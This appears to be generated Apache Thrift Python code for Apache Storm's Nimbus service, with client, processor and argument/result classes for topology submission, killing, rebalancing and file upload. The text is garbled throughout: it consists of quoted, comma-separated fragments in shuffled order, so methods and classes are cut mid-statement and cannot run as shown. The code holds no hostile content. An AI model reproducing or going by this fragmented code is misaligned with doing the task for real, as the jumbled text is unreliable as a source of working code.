send_getNimbusConf(self, ): self._oprot.writeMessageBegin('getNimbusConf',", "- location - chunk \"\"\" pass def finishFileUpload(self, location): \"\"\"", "- jsonConf - topology - options \"\"\" pass def killTopology(self,", "handler self._processMap = {} self._processMap[\"submitTopology\"] = Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"] = Processor.process_submitTopologyWithOpts", "= e oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_rebalance(self,", "id): \"\"\" Parameters: - id \"\"\" pass def getNimbusConf(self, ):", "TType.STRUCT, 'success', (StormTopology, StormTopology.thrift_spec), None, ), # 0 (1, TType.STRUCT,", "Attributes: - name - uploadedJarLocation - jsonConf - topology \"\"\"", "= activate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_activate(self,", "# 0 (1, TType.STRING, 'id', None, None, ), # 1", "TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo failed: unknown result\"); def getTopologyInfo(self, id): \"\"\" Parameters:", "def process_finishFileUpload(self, seqid, iprot, oprot): args = finishFileUpload_args() args.read(iprot) iprot.readMessageEnd()", "= activate_args() args.read(iprot) iprot.readMessageEnd() result = activate_result() try: self._handler.activate(args.name) except", "activate_result: \"\"\" Attributes: - e \"\"\" thrift_spec = ( None,", "return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo failed: unknown result\"); def getTopologyInfo(self,", "result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology failed:", "self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING,", "killTopology_result: \"\"\" Attributes: - e \"\"\" thrift_spec = ( None,", "def process_rebalance(self, seqid, iprot, oprot): args = rebalance_args() args.read(iprot) iprot.readMessageEnd()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_result') if self.success is not None:", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_finishFileUpload(self, seqid, iprot, oprot):", "None, None, ), # 1 ) def __init__(self, name=None,): self.name", "\"\"\" Parameters: - id \"\"\" self.send_getUserTopology(id) return self.recv_getUserTopology() def send_getUserTopology(self,", "iprot.readMessageEnd() result = submitTopologyWithOpts_result() try: self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation, args.jsonConf, args.topology, args.options)", "topology - options \"\"\" thrift_spec = ( None, # 0", ") def __init__(self, location=None, chunk=None,): self.location = location self.chunk =", "NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY, seqid) result.write(oprot)", "0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None, ), # 1", "name, uploadedJarLocation, jsonConf, topology, options): self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL, self._seqid) args =", "'success', None, None, ), # 0 ) def __init__(self, success=None,):", "raise x result = beginFileDownload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "def getTopologyInfo(self, id): \"\"\" Parameters: - id \"\"\" pass def", "TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() if self.ite is not None: oprot.writeFieldBegin('ite',", "= beginFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileUpload_result() result.success = self._handler.beginFileUpload()", "self._seqid) args = getTopologyConf_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "def process_getUserTopology(self, seqid, iprot, oprot): args = getUserTopology_args() args.read(iprot) iprot.readMessageEnd()", "if ftype == TType.STRING: self.chunk = iprot.readString(); else: iprot.skip(ftype) else:", "getNimbusConf_result() result.success = self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "chunk def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "thrift.protocol import fastbinary except: fastbinary = None class Iface: def", "__ne__(self, other): return not (self == other) class finishFileUpload_result: thrift_spec", "not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__,", "self._seqid) args = finishFileUpload_args() args.location = location args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY, seqid)", "is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if self.e", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk failed: unknown result\"); def getNimbusConf(self, ): self.send_getNimbusConf()", "== TType.STRUCT: self.options = RebalanceOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype)", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop() oprot.writeStructEnd()", "\"\"\" pass def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): \"\"\"", "Parameters: - location \"\"\" pass def beginFileDownload(self, file): \"\"\" Parameters:", "__ne__(self, other): return not (self == other) class getNimbusConf_result: \"\"\"", "(1, TType.STRING, 'id', None, None, ), # 1 ) def", "( (0, TType.STRUCT, 'success', (TopologyInfo, TopologyInfo.thrift_spec), None, ), # 0", "try: self._handler.rebalance(args.name, args.options) except NotAliveException as e: result.e = e", "self._iprot.readMessageEnd() raise x result = beginFileDownload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_rebalance(self, seqid, iprot, oprot):", "None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf failed: unknown result\"); def", "iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name))", "name - uploadedJarLocation - jsonConf - topology - options \"\"\"", "return oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "RebalanceOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "x result = getTopologyInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "return def deactivate(self, name): \"\"\" Parameters: - name \"\"\" self.send_deactivate(name)", "self.topology.write(oprot) oprot.writeFieldEnd() if self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT, 5)", "= id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyConf(self, ): (fname, mtype,", "oprot.writeString(self.file) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "1 (2, TType.STRING, 'chunk', None, None, ), # 2 )", "args.topology, args.options) except AlreadyAliveException as e: result.e = e except", "return oprot.writeStructBegin('downloadChunk_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1)", "topology - options \"\"\" self.send_submitTopologyWithOpts(name, uploadedJarLocation, jsonConf, topology, options) self.recv_submitTopologyWithOpts()", "x result = submitTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not", "self.e = e def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "None: oprot.writeFieldBegin('options', TType.STRUCT, 2) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "TMessageType.CALL, self._seqid) args = activate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd()", "oprot.writeStructBegin('killTopology_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot)", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_result') if self.e is not", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_result') if self.success", "None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo failed: unknown result\"); def", "file \"\"\" self.send_beginFileDownload(file) return self.recv_beginFileDownload() def send_beginFileDownload(self, file): self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL,", "def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None, options=None,): self.name = name", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_args') if self.name is not None: oprot.writeFieldBegin('name',", "oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopologyWithOpts(self, seqid, iprot,", "iprot.readMessageEnd() result = killTopologyWithOpts_result() try: self._handler.killTopologyWithOpts(args.name, args.options) except NotAliveException as", "not (self == other) class beginFileUpload_result: \"\"\" Attributes: - success", "fid == 0: if ftype == TType.STRUCT: self.success = TopologyInfo()", "self._iprot.readMessageEnd() return def beginFileDownload(self, file): \"\"\" Parameters: - file \"\"\"", "def killTopology(self, name): \"\"\" Parameters: - name \"\"\" self.send_killTopology(name) self.recv_killTopology()", "= killTopologyWithOpts_result() try: self._handler.killTopologyWithOpts(args.name, args.options) except NotAliveException as e: result.e", "def __repr__(self): L = ['%s=%r' % (key, value) for key,", "args.read(iprot) iprot.readMessageEnd() result = finishFileUpload_result() self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY, seqid) result.write(oprot)", "result.success = self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "def __ne__(self, other): return not (self == other) class finishFileUpload_args:", "if result.ite is not None: raise result.ite return def beginFileUpload(self,", "__ne__(self, other): return not (self == other) class getTopologyConf_args: \"\"\"", "result = beginFileDownload_result() result.success = self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY, seqid) result.write(oprot)", "\"\"\" thrift_spec = ( None, # 0 (1, TType.STRUCT, 'e',", "self._oprot.trans.flush() def recv_killTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "= topology args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopology(self, ): (fname, mtype,", "TApplicationException from ttypes import * from thrift.Thrift import TProcessor from", "oprot.writeFieldEnd() if self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT, 5) self.options.write(oprot)", "self._iprot.readMessageEnd() if result.success is not None: return result.success if result.e", "oprot.writeString(self.success) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "== TType.STRUCT: self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid", "not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() if self.chunk is", "getNimbusConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "pass def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): \"\"\" Parameters:", "not (self == other) class beginFileDownload_result: \"\"\" Attributes: - success", "result.ite is not None: raise result.ite return def submitTopologyWithOpts(self, name,", "TMessageType.CALL, self._seqid) args = submitTopologyWithOpts_args() args.name = name args.uploadedJarLocation =", "process_getTopology(self, seqid, iprot, oprot): args = getTopology_args() args.read(iprot) iprot.readMessageEnd() result", "TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype) elif fid == 2:", "self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING,", "location): \"\"\" Parameters: - location \"\"\" self.send_finishFileUpload(location) self.recv_finishFileUpload() def send_finishFileUpload(self,", "args.read(iprot) iprot.readMessageEnd() result = submitTopologyWithOpts_result() try: self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation, args.jsonConf, args.topology,", "return not (self == other) class rebalance_args: \"\"\" Attributes: -", "oprot.writeString(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "= e except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"rebalance\",", "not (self == other) class submitTopologyWithOpts_result: \"\"\" Attributes: - e", "getUserTopology(self, id): \"\"\" Parameters: - id \"\"\" pass class Client(Iface):", "try: self._handler.submitTopology(args.name, args.uploadedJarLocation, args.jsonConf, args.topology) except AlreadyAliveException as e: result.e", "args.read(iprot) iprot.readMessageEnd() result = getClusterInfo_result() result.success = self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY,", "TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype", "oprot): args = deactivate_args() args.read(iprot) iprot.readMessageEnd() result = deactivate_result() try:", "pass def activate(self, name): \"\"\" Parameters: - name \"\"\" pass", "== 5: if ftype == TType.STRUCT: self.options = SubmitOptions() self.options.read(iprot)", "file def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "x result = getNimbusConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_activate(self, seqid, iprot, oprot): args =", "args.read(iprot) iprot.readMessageEnd() result = getUserTopology_result() try: result.success = self._handler.getUserTopology(args.id) except", "getClusterInfo_args() args.read(iprot) iprot.readMessageEnd() result = getClusterInfo_result() result.success = self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\",", "oprot.writeFieldEnd() if self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT, 2) self.options.write(oprot)", "if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd()", "= Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"] = Processor.process_killTopologyWithOpts self._processMap[\"activate\"] = Processor.process_activate self._processMap[\"deactivate\"] =", "thrift_spec = ( (0, TType.STRUCT, 'success', (ClusterSummary, ClusterSummary.thrift_spec), None, ),", "self._iprot.readMessageEnd() raise x result = submitTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e", "name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_activate(self, ): (fname, mtype, rseqid)", "thrift_spec = ( None, # 0 (1, TType.STRING, 'id', None,", "raise x result = beginFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "self._seqid) args = killTopologyWithOpts_args() args.name = name args.options = options", "== TType.STRUCT: self.ite = InvalidTopologyException() self.ite.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype)", "= RebalanceOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "__init__(self, name=None, options=None,): self.name = name self.options = options def", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopologyWithOpts(self, seqid, iprot, oprot): args", "def __init__(self, e=None, ite=None,): self.e = e self.ite = ite", "def __ne__(self, other): return not (self == other) class submitTopology_result:", "raise result.ite return def beginFileUpload(self, ): self.send_beginFileUpload() return self.recv_beginFileUpload() def", "def finishFileUpload(self, location): \"\"\" Parameters: - location \"\"\" self.send_finishFileUpload(location) self.recv_finishFileUpload()", "self._iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT,", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = submitTopologyWithOpts_result()", "class deactivate_result: \"\"\" Attributes: - e \"\"\" thrift_spec = (", "\"\"\" Parameters: - location - chunk \"\"\" self.send_uploadChunk(location, chunk) self.recv_uploadChunk()", "ite oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileUpload(self, seqid,", "elif fid == 5: if ftype == TType.STRUCT: self.options =", "result.e is not None: raise result.e if result.ite is not", "self._oprot = oprot self._seqid = 0 def submitTopology(self, name, uploadedJarLocation,", "Parameters: - name \"\"\" self.send_activate(name) self.recv_activate() def send_activate(self, name): self._oprot.writeMessageBegin('activate',", "(ClusterSummary, ClusterSummary.thrift_spec), None, ), # 0 ) def __init__(self, success=None,):", "oprot.writeStructBegin('submitTopology_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot)", "not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo failed: unknown result\");", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopologyConf_result()", "__ne__(self, other): return not (self == other) class getTopologyInfo_args: \"\"\"", "return not (self == other) class activate_result: \"\"\" Attributes: -", "not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getUserTopology_result() result.read(self._iprot)", "iprot, oprot): (name, type, seqid) = iprot.readMessageBegin() if name not", "): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION:", "break if fid == 1: if ftype == TType.STRUCT: self.e", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyInfo(self, ): (fname, mtype, rseqid) =", "\"\"\" Parameters: - location \"\"\" self.send_finishFileUpload(location) self.recv_finishFileUpload() def send_finishFileUpload(self, location):", "# 1 ) def __init__(self, e=None,): self.e = e def", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = submitTopology_result() result.read(self._iprot)", "Processor.process_downloadChunk self._processMap[\"getNimbusConf\"] = Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"] = Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"] = Processor.process_getTopologyInfo", "self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT, 2) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop()", "self._oprot.trans.flush() def recv_killTopologyWithOpts(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "ftype == TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype)", "pass def getTopology(self, id): \"\"\" Parameters: - id \"\"\" pass", "send_rebalance(self, name, options): self._oprot.writeMessageBegin('rebalance', TMessageType.CALL, self._seqid) args = rebalance_args() args.name", "\"\"\" self.send_killTopologyWithOpts(name, options) self.recv_killTopologyWithOpts() def send_killTopologyWithOpts(self, name, options): self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL,", "None: oprot.writeFieldBegin('file', TType.STRING, 1) oprot.writeString(self.file) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "args = downloadChunk_args() args.read(iprot) iprot.readMessageEnd() result = downloadChunk_result() result.success =", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_result') if self.success is not None:", "def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None,): self.name = name self.uploadedJarLocation", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_result') if self.success is", "oprot.trans.flush() def process_beginFileDownload(self, seqid, iprot, oprot): args = beginFileDownload_args() args.read(iprot)", "id \"\"\" pass def getNimbusConf(self, ): pass def getClusterInfo(self, ):", "= getClusterInfo_result() result.success = self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "\"\"\" pass def finishFileUpload(self, location): \"\"\" Parameters: - location \"\"\"", "location): \"\"\" Parameters: - location \"\"\" pass def beginFileDownload(self, file):", "uploadedJarLocation, jsonConf, topology, options): self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL, self._seqid) args = submitTopologyWithOpts_args()", "TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) elif fid ==", "== 2: if ftype == TType.STRING: self.chunk = iprot.readString(); else:", "e \"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (TopologyInfo, TopologyInfo.thrift_spec),", "'success', None, None, ), # 0 (1, TType.STRUCT, 'e', (NotAliveException,", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = killTopologyWithOpts_result() result.read(self._iprot)", "self.jsonConf = jsonConf self.topology = topology def read(self, iprot): if", "result = getTopologyConf_result() try: result.success = self._handler.getTopologyConf(args.id) except NotAliveException as", "( None, # 0 (1, TType.STRING, 'id', None, None, ),", "getTopologyConf_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyConf_result() try: result.success = self._handler.getTopologyConf(args.id)", "oprot): args = killTopology_args() args.read(iprot) iprot.readMessageEnd() result = killTopology_result() try:", "oprot): args = downloadChunk_args() args.read(iprot) iprot.readMessageEnd() result = downloadChunk_result() result.success", "StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "= ( None, # 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec),", "and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return", "x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self, seqid, iprot, oprot) return", "'success', (StormTopology, StormTopology.thrift_spec), None, ), # 0 (1, TType.STRUCT, 'e',", "Processor.process_rebalance self._processMap[\"beginFileUpload\"] = Processor.process_beginFileUpload self._processMap[\"uploadChunk\"] = Processor.process_uploadChunk self._processMap[\"finishFileUpload\"] = Processor.process_finishFileUpload", "StormTopology.thrift_spec), None, ), # 4 (5, TType.STRUCT, 'options', (SubmitOptions, SubmitOptions.thrift_spec),", "submitTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e", "self.recv_submitTopologyWithOpts() def send_submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL,", "None, # 0 (1, TType.STRING, 'name', None, None, ), #", "oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L =", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_result') if self.e is not None:", "iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1:", "def __ne__(self, other): return not (self == other) class beginFileDownload_result:", "iprot.readMessageEnd() result = uploadChunk_result() self._handler.uploadChunk(args.location, args.chunk) oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY, seqid) result.write(oprot)", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_result') if self.e is", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_deactivate(self, seqid, iprot, oprot): args =", "thrift_spec = ( (0, TType.STRING, 'success', None, None, ), #", "= uploadedJarLocation self.jsonConf = jsonConf self.topology = topology def read(self,", "\"\"\" Parameters: - id \"\"\" pass def getNimbusConf(self, ): pass", "seqid, iprot, oprot): args = activate_args() args.read(iprot) iprot.readMessageEnd() result =", "None: raise result.e return def rebalance(self, name, options): \"\"\" Parameters:", "def validate(self): return def __repr__(self): L = ['%s=%r' % (key,", "- e \"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (StormTopology,", "), # 2 ) def __init__(self, e=None, ite=None,): self.e =", "self._oprot.trans.flush() def recv_beginFileUpload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_result') if self.e is", "self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL, self._seqid) args = getClusterInfo_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "uploadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() return def finishFileUpload(self, location): \"\"\" Parameters: -", "(self == other) class beginFileUpload_result: \"\"\" Attributes: - success \"\"\"", "seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self, seqid, iprot, oprot)", "0) oprot.writeString(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_args') if self.file is", "not (self == other) class getUserTopology_args: \"\"\" Attributes: - id", "def activate(self, name): \"\"\" Parameters: - name \"\"\" pass def", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_result') if self.e is not None: oprot.writeFieldBegin('e',", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = submitTopologyWithOpts_result() result.read(self._iprot)", "success \"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (ClusterSummary, ClusterSummary.thrift_spec),", "None: oprot.writeFieldBegin('ite', TType.STRUCT, 2) self.ite.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "(self == other) class getTopologyInfo_args: \"\"\" Attributes: - id \"\"\"", "result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology failed: unknown result\"); def getUserTopology(self, id):", "oprot.writeString(self.id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "getUserTopology_args() args.read(iprot) iprot.readMessageEnd() result = getUserTopology_result() try: result.success = self._handler.getUserTopology(args.id)", "success - e \"\"\" thrift_spec = ( (0, TType.STRING, 'success',", "result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success raise", "recv_rebalance(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "def __ne__(self, other): return not (self == other) class downloadChunk_result:", "0 ) def __init__(self, success=None,): self.success = success def read(self,", "args.topology = topology args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopology(self, ): (fname,", "not None: self._oprot = oprot self._seqid = 0 def submitTopology(self,", "topology, options) self.recv_submitTopologyWithOpts() def send_submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options):", "= getNimbusConf_result() result.success = self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "def process_downloadChunk(self, seqid, iprot, oprot): args = downloadChunk_args() args.read(iprot) iprot.readMessageEnd()", "# 1 (2, TType.STRUCT, 'options', (RebalanceOptions, RebalanceOptions.thrift_spec), None, ), #", "( None, # 0 (1, TType.STRING, 'name', None, None, ),", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_result')", "None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "= Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"] = Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"] = Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"] =", "oprot.writeStructBegin('deactivate_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name)", "'location', None, None, ), # 1 (2, TType.STRING, 'chunk', None,", "Attributes: - location - chunk \"\"\" thrift_spec = ( None,", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = submitTopology_result() result.read(self._iprot) self._iprot.readMessageEnd()", "StormTopology() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1: if ftype", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopology(self, seqid, iprot, oprot): args", "options): \"\"\" Parameters: - name - options \"\"\" pass def", "return not (self == other) class getUserTopology_result: \"\"\" Attributes: -", "TType.STRING, 'jsonConf', None, None, ), # 3 (4, TType.STRUCT, 'topology',", "getTopologyInfo_result() try: result.success = self._handler.getTopologyInfo(args.id) except NotAliveException as e: result.e", "process_submitTopologyWithOpts(self, seqid, iprot, oprot): args = submitTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result", "send_getTopologyInfo(self, id): self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL, self._seqid) args = getTopologyInfo_args() args.id =", ") def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None, options=None,): self.name =", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_args') if self.id is not None:", "TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "ftype == TType.STRUCT: self.ite = InvalidTopologyException() self.ite.read(iprot) else: iprot.skip(ftype) else:", "== TType.STRUCT: self.e = AlreadyAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid", "1 (2, TType.STRUCT, 'options', 